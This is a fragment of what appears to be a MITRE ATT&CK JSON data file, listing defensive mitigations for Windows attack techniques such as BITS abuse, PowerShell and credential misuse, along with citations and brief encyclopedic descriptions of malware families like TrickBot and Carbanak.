            "description": "Ensure updated virus definitions. Create custom signatures for observed malware. Employ heuristic-based malware detection.\n\nIdentify and prevent execution of potentially malicious software that may have been packed by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
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                    "url": "https://attack.mitre.org/mitigations/T1197",
                    "external_id": "T1197"
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                    "source_name": "Mondok Windows PiggyBack BITS May 2007",
                    "description": "Mondok, M. (2007, May 11). Malware piggybacks on Windows\u2019 Background Intelligent Transfer Service. Retrieved January 12, 2018.",
                    "url": "https://arstechnica.com/information-technology/2007/05/malware-piggybacks-on-windows-background-intelligent-transfer-service/"
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                    "source_name": "Symantec BITS May 2007",
                    "description": "Florio, E. (2007, May 9). Malware Update with Windows Update. Retrieved January 12, 2018.",
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                    "source_name": "Microsoft BITS",
                    "description": "Microsoft. (n.d.). Background Intelligent Transfer Service. Retrieved January 12, 2018.",
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            "name": "BITS Jobs Mitigation",
            "description": "This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, disabling all BITS functionality will likely have unintended side effects, such as preventing legitimate software patching and updating. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior. (Citation: Mondok Windows PiggyBack BITS May 2007)\n\nModify network and/or host firewall rules, as well as other network controls, to only allow legitimate BITS traffic.\n\nConsider limiting access to the BITS interface to specific users or groups. (Citation: Symantec BITS May 2007)\n\nConsider reducing the default BITS job lifetime in Group Policy or by editing the <code>JobInactivityTimeout</code> and <code>MaxDownloadTime</code> Registry values in <code> HKEY_LOCAL_MACHINE\\Software\\Policies\\Microsoft\\Windows\\BITS</code>. (Citation: Microsoft BITS)",
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                    "url": "https://attack.mitre.org/mitigations/T1181",
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                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
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                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
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                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
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                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
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            "name": "Extra Window Memory Injection Mitigation",
            "description": "This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating specific API calls will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.\n\nAlthough EWM injection may be used to evade certain types of defenses, it is still good practice to identify potentially malicious software that may be used to perform adversarial actions and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
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            "created": "2019-06-11T17:06:14.029Z",
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                    "url": "https://attack.mitre.org/mitigations/M1047",
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                    "url": "https://attack.mitre.org/mitigations/T1105",
                    "external_id": "T1105"
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                {
                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
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            "modified": "2025-04-18T18:00:14.725Z",
            "name": "Remote File Copy Mitigation",
            "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware or unusual data transfer over known tools and protocols like FTP can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)",
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            "created": "2018-10-17T00:14:20.652Z",
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                    "url": "https://attack.mitre.org/mitigations/T1138",
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            "modified": "2025-04-18T18:00:14.907Z",
            "name": "Application Shimming Mitigation",
            "description": "There currently aren't a lot of ways to mitigate application shimming. Disabling the Shim Engine isn't recommended because Windows depends on shimming for interoperability and software may become unstable or not work. Microsoft released an optional patch update - KB3045645 - that will remove the \"auto-elevate\" flag within the sdbinst.exe. This will prevent use of application shimming to bypass UAC. \n\nChanging UAC settings to \"Always Notify\" will give the user more visibility when UAC elevation is requested, however, this option will not be popular among users due to the constant UAC interruptions.",
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            "modified": "2025-04-18T18:00:15.125Z",
            "name": "Execution through Module Load Mitigation",
            "description": "Directly mitigating module loads and API calls related to module loads will likely have unintended side effects, such as preventing legitimate software from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying and correlated subsequent behavior to determine if it is the result of malicious activity.",
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                    "url": "https://attack.mitre.org/mitigations/T1140",
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                {
                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
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                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html"
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                {
                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"
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                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
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                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
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            "name": "Deobfuscate/Decode Files or Information Mitigation",
            "description": "Identify unnecessary system utilities or potentially malicious software that may be used to deobfuscate or decode files or information, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
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                    "url": "https://attack.mitre.org/mitigations/T1086",
                    "external_id": "T1086"
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                {
                    "source_name": "Netspi PowerShell Execution Policy Bypass",
                    "description": "Sutherland, S. (2014, September 9). 15 Ways to Bypass the PowerShell Execution Policy. Retrieved July 23, 2015.",
                    "url": "https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/"
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            "modified": "2025-04-18T18:00:15.501Z",
            "name": "PowerShell Mitigation",
            "description": "It may be possible to remove PowerShell from systems when not needed, but a review should be performed to assess the impact to an environment, since it could be in use for many legitimate purposes and administrative functions. When PowerShell is necessary, restrict PowerShell execution policy to administrators and to only execute signed scripts. Be aware that there are methods of bypassing the PowerShell execution policy, depending on environment configuration. (Citation: Netspi PowerShell Execution Policy Bypass) Disable/restrict the WinRM Service to help prevent uses of PowerShell for remote execution.",
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            "created": "2018-10-17T00:14:20.652Z",
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                    "url": "https://attack.mitre.org/mitigations/T1001",
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                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
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            "name": "Data Obfuscation Mitigation",
            "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)",
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                    "url": "https://attack.mitre.org/mitigations/T1046",
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                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
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                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
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                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
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                    "source_name": "TechNet Applocker vs SRP",
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                    "url": "https://attack.mitre.org/mitigations/M1050",
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            "description": "Mshta.exe may not be necessary within a given environment since its functionality is tied to older versions of Internet Explorer that have reached end of life. Use application whitelisting configured to block execution of mshta.exe if it is not required for a given system or network to prevent potential misuse by adversaries.",
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                    "url": "https://attack.mitre.org/mitigations/T1078",
                    "external_id": "T1078"
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                {
                    "source_name": "Microsoft Securing Privileged Access",
                    "description": "Plett, C., Poggemeyer, L. (12, October 26). Securing Privileged Access Reference Material. Retrieved April 25, 2017.",
                    "url": "https://docs.microsoft.com/en-us/windows-server/identity/securing-privileged-access/securing-privileged-access-reference-material#a-nameesaebmaesae-administrative-forest-design-approach"
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                    "source_name": "TechNet Credential Theft",
                    "description": "Microsoft. (2016, April 15). Attractive Accounts for Credential Theft. Retrieved June 3, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/dn535501.aspx"
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                    "source_name": "TechNet Least Privilege",
                    "description": "Microsoft. (2016, April 16). Implementing Least-Privilege Administrative Models. Retrieved June 3, 2016.",
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                    "source_name": "US-CERT Alert TA13-175A Risks of Default Passwords on the Internet",
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            "description": "Take measures to detect or prevent techniques such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or installation of keyloggers to acquire credentials through [Input Capture](https://attack.mitre.org/techniques/T1056). Limit credential overlap across systems to prevent access if account credentials are obtained. Ensure that local administrator accounts have complex, unique passwords across all systems on the network. Do not put user or admin domain accounts in the local administrator groups across systems unless they are tightly controlled and use of accounts is segmented, as this is often equivalent to having a local administrator account with the same password on all systems. \n\nFollow best practices for design and administration of an enterprise network to limit privileged account use across administrative tiers. (Citation: Microsoft Securing Privileged Access) \n\nAudit domain and local accounts as well as their permission levels routinely to look for situations that could allow an adversary to gain wide access by obtaining credentials of a privileged account. (Citation: TechNet Credential Theft) (Citation: TechNet Least Privilege) These audits should also include if default accounts have been enabled, or if new local accounts are created that have not be authorized. \n\nApplications and appliances that utilize default username and password should be changed immediately after the installation, and before deployment to a production environment. (Citation: US-CERT Alert TA13-175A Risks of Default Passwords on the Internet) When possible, applications that use SSH keys should be updated periodically and properly secured. ",
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                    "url": "https://attack.mitre.org/mitigations/T1133",
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            "description": "Limit access to remote services through centrally managed concentrators such as VPNs and other managed remote access systems. Deny direct remote access to internal systems through the use of network proxies, gateways, and firewalls. Disable or block remotely available services such as [Windows Remote Management](https://attack.mitre.org/techniques/T1028). Use strong two-factor or multi-factor authentication for remote service accounts to mitigate an adversary's ability to leverage stolen credentials, but be aware of [Multi-Factor Authentication Interception](https://attack.mitre.org/techniques/T1111) techniques for some two-factor authentication implementations.",
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                {
                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
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                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
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                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
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                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
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            "name": "Service Execution Mitigation",
            "description": "Ensure that permissions disallow services that run at a higher permissions level from being created or interacted with by a user with a lower permission level. Also ensure that high permission level service binaries cannot be replaced or modified by users with a lower permission level.\n\nIdentify unnecessary system utilities or potentially malicious software that may be used to interact with Windows services, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
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                {
                    "source_name": "MSDN File Associations",
                    "description": "Microsoft. (n.d.). Retrieved July 26, 2016.",
                    "url": "https://msdn.microsoft.com/en-us/library/cc144156.aspx"
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                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
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                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
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                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"
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                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
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                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
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            "name": "Change Default File Association Mitigation",
            "description": "Direct mitigation of this technique is not recommended since it is a legitimate function that can be performed by users for software preferences. Follow Microsoft's best practices for file associations. (Citation: MSDN File Associations)\n\nIdentify and block potentially malicious software that may be executed by this technique using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
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                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html"
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                {
                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"
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                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
                },
                {
                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
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            "name": "System Service Discovery Mitigation",
            "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about services, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/mitigations/T1039",
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                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
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                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
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                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
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                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
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                    "source_name": "Microsoft CreateProcess",
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                    "source_name": "Microsoft Disable Autorun",
                    "description": "Microsoft. (n.d.). How to disable the Autorun functionality in Windows. Retrieved April 20, 2016.",
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                    "source_name": "TechNet Removable Media Control",
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            "description": "Software updates ensure systems are protected against known vulnerabilities by applying patches and upgrades provided by vendors. Regular updates reduce the attack surface and prevent adversaries from exploiting known security gaps. This includes patching operating systems, applications, drivers, and firmware. This mitigation can be implemented through the following measures:\n\nRegular Operating System Updates\n\n- Implementation: Apply the latest Windows security updates monthly using WSUS (Windows Server Update Services) or a similar patch management solution. Configure systems to check for updates automatically and schedule reboots during maintenance windows.\n- Use Case: Prevents exploitation of OS vulnerabilities such as privilege escalation or remote code execution.\n\nApplication Patching\n\n- Implementation: Monitor Apache's update release notes for security patches addressing vulnerabilities. Schedule updates for off-peak hours to avoid downtime while maintaining security compliance.\n- Use Case: Prevents exploitation of web application vulnerabilities, such as those leading to unauthorized access or data breaches.\n\nFirmware Updates\n\n- Implementation: Regularly check the vendor\u2019s website for firmware updates addressing vulnerabilities. Plan for update deployment during scheduled maintenance to minimize business disruption.\n- Use Case: Protects against vulnerabilities that adversaries could exploit to gain access to network devices or inject malicious traffic.\n\nEmergency Patch Deployment\n\n- Implementation: Use the emergency patch deployment feature of the organization's patch management tool to apply updates to all affected Exchange servers within 24 hours.\n- Use Case: Reduces the risk of exploitation by rapidly addressing critical vulnerabilities.\n\nCentralized Patch Management\n\n- Implementation: Implement a centralized patch management system, such as SCCM or ManageEngine, to automate and track patch deployment across all environments. Generate regular compliance reports to ensure all systems are updated.\n- Use Case: Streamlines patching processes and ensures no critical systems are missed.\n\n*Tools for Implementation*\n\nPatch Management Tools:\n\n- WSUS: Manage and deploy Microsoft updates across the organization.\n- ManageEngine Patch Manager Plus: Automate patch deployment for OS and third-party apps.\n- Ansible: Automate updates across multiple platforms, including Linux and Windows.\n\nVulnerability Scanning Tools:\n\n- OpenVAS: Open-source vulnerability scanning to identify missing patches.",
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                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
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                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
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                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
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                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
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            "description": "Remove smart cards when not in use. Protect devices and services used to transmit and receive out-of-band codes.\n\nIdentify and block potentially malicious software that may be used to intercept 2FA credentials on a system by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
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                    "source_name": "Ready.gov IT DRP",
                    "description": "Ready.gov. (n.d.). IT Disaster Recovery Plan. Retrieved March 15, 2019.",
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            "description": "Identify critical business and system processes that may be targeted by adversaries and work to secure the data related to those processes against tampering. Ensure least privilege principles are applied to important information resources to reduce exposure to data manipulation risk. Consider encrypting important information to reduce an adversaries ability to perform tailor data modifications. Where applicable, examine using file monitoring software to check integrity on important files and directories as well as take corrective actions when unauthorized changes are detected. \n\nConsider implementing IT disaster recovery plans that contain procedures for taking regular data backups that can be used to restore organizational data.(Citation: Ready.gov IT DRP) Ensure backups are stored off system and is protected from common methods adversaries may use to gain access and manipulate backups.",
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            "name": "InstallUtil Mitigation",
            "description": "InstallUtil may not be necessary within a given environment. Use application whitelisting configured to block execution of InstallUtil.exe if it is not required for a given system or network to prevent potential misuse by adversaries.",
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                    "external_id": "T1054"
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                    "source_name": "Microsoft ETW May 2018",
                    "description": "Microsoft. (2018, May 30). Event Tracing. Retrieved September 6, 2018.",
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            "description": "Ensure event tracers/forwarders (Citation: Microsoft ETW May 2018), firewall policies, and other associated mechanisms are secured with appropriate permissions and access controls. Consider automatically relaunching forwarding mechanisms at recurring intervals (ex: temporal, on-logon, etc.) as well as applying appropriate change management to firewall rules and other related system configurations.",
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                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
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                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
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                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
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                    "source_name": "Corio 2008",
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            "description": "Misconfiguration of permissions in the Registry may lead to opportunities for an adversary to execute code, like through [Service Registry Permissions Weakness](https://attack.mitre.org/techniques/T1058). Ensure proper permissions are set for Registry hives to prevent users from modifying keys for system components that may lead to privilege escalation.\n\nIdentify and block unnecessary system utilities or potentially malicious software that may be used to modify the Registry by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
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                    "source_name": "SpectorOps Subverting Trust Sept 2017",
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            "description": "Ensure proper permissions are set for Registry hives to prevent users from modifying keys related to SIP and trust provider components. Also ensure that these values contain their full path to prevent [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038). (Citation: SpectorOps Subverting Trust Sept 2017)\n\nConsider removing unnecessary and/or stale SIPs. (Citation: SpectorOps Subverting Trust Sept 2017)\n\nRestrict storage and execution of SIP DLLs to protected directories, such as C:\\Windows, rather than user directories.\n\nEnable whitelisting solutions such as AppLocker and/or Device Guard to block the loading of malicious SIP DLLs. Components may still be able to be hijacked to suitable functions already present on disk if malicious modifications to Registry keys are not prevented.",
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                {
                    "source_name": "Microsoft Disable Autorun",
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                    "url": "https://support.microsoft.com/en-us/kb/967715"
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                    "source_name": "TechNet Removable Media Control",
                    "description": "Microsoft. (2007, August 31). https://technet.microsoft.com/en-us/library/cc771759(v=ws.10).aspx. Retrieved April 20, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/cc772540(v=ws.10).aspx"
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                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
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                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
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                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
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                    "source_name": "Corio 2008",
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                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
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            "name": "Replication Through Removable Media Mitigation",
            "description": "Disable Autorun if it is unnecessary. (Citation: Microsoft Disable Autorun) Disallow or restrict removable media at an organizational policy level if it is not required for business operations. (Citation: TechNet Removable Media Control)\n\nIdentify potentially malicious software that may be used to infect removable media or may result from tainted removable media, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
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                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
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                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "url": "https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html"
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                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
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                    "source_name": "Ars Technica Pwn2Own 2017 VM Escape",
                    "description": "Goodin, D. (2017, March 17). Virtual machine escape fetches $105,000 at Pwn2Own hacking contest - updated. Retrieved March 12, 2018.",
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                    "url": "https://attack.mitre.org/mitigations/T1143",
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            "modified": "2025-04-18T18:00:21.544Z",
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            "description": "Whitelist programs that are allowed to have this plist tag. All other programs should be considered suspicious.",
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                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
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            "modified": "2025-04-18T18:00:21.711Z",
            "name": "Data Encoding Mitigation",
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                    "source_name": "Powersploit",
                    "description": "PowerSploit. (n.d.). Retrieved December 4, 2014.",
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                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
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                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
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                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
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                    "source_name": "Baumgartner Naikon 2015",
                    "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.",
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            "description": "[HDoor](https://attack.mitre.org/software/S0061) is malware that has been customized and used by the [Naikon](https://attack.mitre.org/groups/G0019) group. (Citation: Baumgartner Naikon 2015)",
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            "description": "[TrickBot](https://attack.mitre.org/software/S0266) is a Trojan spyware program written in C++ that first emerged in September 2016 as a possible successor to [Dyre](https://attack.mitre.org/software/S0024). [TrickBot](https://attack.mitre.org/software/S0266) was developed and initially used by [Wizard Spider](https://attack.mitre.org/groups/G0102) for targeting banking sites in North America, Australia, and throughout Europe; it has since been used against all sectors worldwide as part of \"big game hunting\" ransomware campaigns.(Citation: S2 Grupo TrickBot June 2017)(Citation: Fidelis TrickBot Oct 2016)(Citation: IBM TrickBot Nov 2016)(Citation: CrowdStrike Wizard Spider October 2020)",
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                    "description": "Reaves, J. (2016, October 15). TrickBot: We Missed you, Dyre. Retrieved August 2, 2018.",
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                    "description": "Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017.",
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                    "description": "CIS. (2017, April 28). Emotet Changes TTPs and Arrives in United States. Retrieved January 17, 2019.",
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                },
                {
                    "source_name": "Red Canary Emotet Feb 2019",
                    "description": "Donohue, B.. (2019, February 13). https://redcanary.com/blog/stopping-emotet-before-it-moves-laterally/. Retrieved March 25, 2019.",
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                    "source_name": "ESET Emotet Nov 2018",
                    "description": "ESET . (2018, November 9). Emotet launches major new spam campaign. Retrieved March 25, 2019.",
                    "url": "https://www.welivesecurity.com/2018/11/09/emotet-launches-major-new-spam-campaign/"
                },
                {
                    "source_name": "Secureworks Emotet Nov 2018",
                    "description": "Mclellan, M.. (2018, November 19). Lazy Passwords Become Rocket Fuel for Emotet SMB Spreader. Retrieved March 25, 2019.",
                    "url": "https://www.secureworks.com/blog/lazy-passwords-become-rocket-fuel-for-emotet-smb-spreader"
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                    "source_name": "Picus Emotet Dec 2018",
                    "description": "\u00d6zarslan, S. (2018, December 21). The Christmas Card you never wanted - A new wave of Emotet is back to wreak havoc. Retrieved March 25, 2019.",
                    "url": "https://www.picussecurity.com/blog/the-christmas-card-you-never-wanted-a-new-wave-of-emotet-is-back-to-wreak-havoc.html"
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                    "source_name": "Trend Micro Banking Malware Jan 2019",
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                    "source_name": "US-CERT Emotet Jul 2018",
                    "description": "US-CERT. (2018, July 20). Alert (TA18-201A) Emotet Malware. Retrieved March 25, 2019.",
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                {
                    "source_name": "NGLite Trojan",
                    "description": "Robert Falcone, Jeff White, and Peter Renals. (2021, November 7). Targeted Attack Campaign Against ManageEngine ADSelfService Plus Delivers Godzilla Webshells, NGLite Trojan and KdcSponge Stealer. Retrieved February 8, 2024.",
                    "url": "https://unit42.paloaltonetworks.com/manageengine-godzilla-nglite-kdcsponge/"
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                    "source_name": "Carbanak",
                    "description": "(Citation: FireEye CARBANAK June 2017)"
                },
                {
                    "source_name": "Anunak",
                    "description": "(Citation: Fox-It Anunak Feb 2015) (Citation: FireEye CARBANAK June 2017)"
                },
                {
                    "source_name": "FireEye CARBANAK June 2017",
                    "description": "Bennett, J., Vengerik, B. (2017, June 12). Behind the CARBANAK Backdoor. Retrieved June 11, 2018.",
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                },
                {
                    "source_name": "Kaspersky Carbanak",
                    "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, February). CARBANAK APT THE GREAT BANK ROBBERY. Retrieved August 23, 2018.",
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                },
                {
                    "source_name": "Fox-It Anunak Feb 2015",
                    "description": "Prins, R. (2015, February 16). Anunak (aka Carbanak) Update. Retrieved January 20, 2017.",
                    "url": "https://www.fox-it.com/en/news/blog/anunak-aka-carbanak-update/"
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                    "url": "https://attack.mitre.org/software/S0117",
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                {
                    "source_name": "XTunnel",
                    "description": "(Citation: ESET Sednit Part 2)"
                },
                {
                    "source_name": "Trojan.Shunnael",
                    "description": "(Citation: Symantec APT28 Oct 2018)"
                },
                {
                    "source_name": "X-Tunnel",
